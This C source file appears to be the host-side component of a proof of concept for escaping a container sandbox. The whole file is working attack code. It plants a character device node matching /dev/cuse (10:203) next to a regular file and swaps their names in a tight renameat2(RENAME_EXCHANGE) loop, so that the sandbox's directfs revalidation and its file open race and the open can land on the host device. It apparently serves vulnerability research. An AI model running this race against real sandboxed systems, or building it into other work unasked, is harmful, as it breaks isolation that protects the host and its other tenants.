// host_swapper.c - runs on the HOST side of the directfs-backed mount.
// Atomically exchanges the raced name between a regular file and a /dev/cuse
// char device node using renameat2(RENAME_EXCHANGE), so that the sentry's
// directfs revalidation (O_PATH openat + statx of the child) usually sees the
// SAME regular-file inode (keeping the dentry valid) while a racing
// openHandle() openat() can land in the window where the name resolves to the
// device node. The regular file inode is never recreated, so the dentry's
// cached inoKey stays valid across exchanges.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <time.h>
#include <errno.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/sysmacros.h>
#include <sys/syscall.h>

#ifndef RENAME_EXCHANGE
#define RENAME_EXCHANGE (1U << 1)
#endif

static int rename_exchange(int dfd, const char *a, const char *b) {
    return syscall(SYS_renameat2, dfd, a, dfd, b, RENAME_EXCHANGE);
}

int main(int argc, char **argv) {
    if (argc < 3) { fprintf(stderr, "usage: %s <dir> <seconds>\n", argv[0]); return 2; }
    const char *dir = argv[1];
    int secs = atoi(argv[2]);
    int dfd = open(dir, O_RDONLY | O_DIRECTORY | O_CLOEXEC);
    if (dfd < 0) { perror("open dir"); return 2; }

    unlinkat(dfd, "target", 0);
    unlinkat(dfd, "swapdev", 0);
    int fd = openat(dfd, "target", O_WRONLY | O_CREAT | O_TRUNC | O_CLOEXEC, 0666);
    if (fd < 0) { perror("openat target"); return 2; }
    if (write(fd, "x", 1) != 1) { perror("write"); return 2; }
    close(fd);
    // Character device node identical to /dev/cuse (10:203).
    if (mknodat(dfd, "swapdev", S_IFCHR | 0666, makedev(10, 203)) != 0) {
        perror("mknodat swapdev (c 10 203)");
        return 2;
    }

    struct timespec start, now;
    clock_gettime(CLOCK_MONOTONIC, &start);
    unsigned long n = 0;
    for (;;) {
        if (rename_exchange(dfd, "target", "swapdev") != 0) {
            perror("renameat2(RENAME_EXCHANGE)");
            return 2;
        }
        n++;
        if ((n & 0xFFF) == 0) {
            clock_gettime(CLOCK_MONOTONIC, &now);
            if (now.tv_sec - start.tv_sec >= secs) break;
        }
    }
    printf("SWAPPER_DONE exchanges=%lu\n", n);
    struct stat st;
    if (fstatat(dfd, "target", &st, 0) == 0)
        printf("SWAPPER_FINAL target mode=%o rdev=%u:%u\n", st.st_mode,
               major(st.st_rdev), minor(st.st_rdev));
    return 0;
}
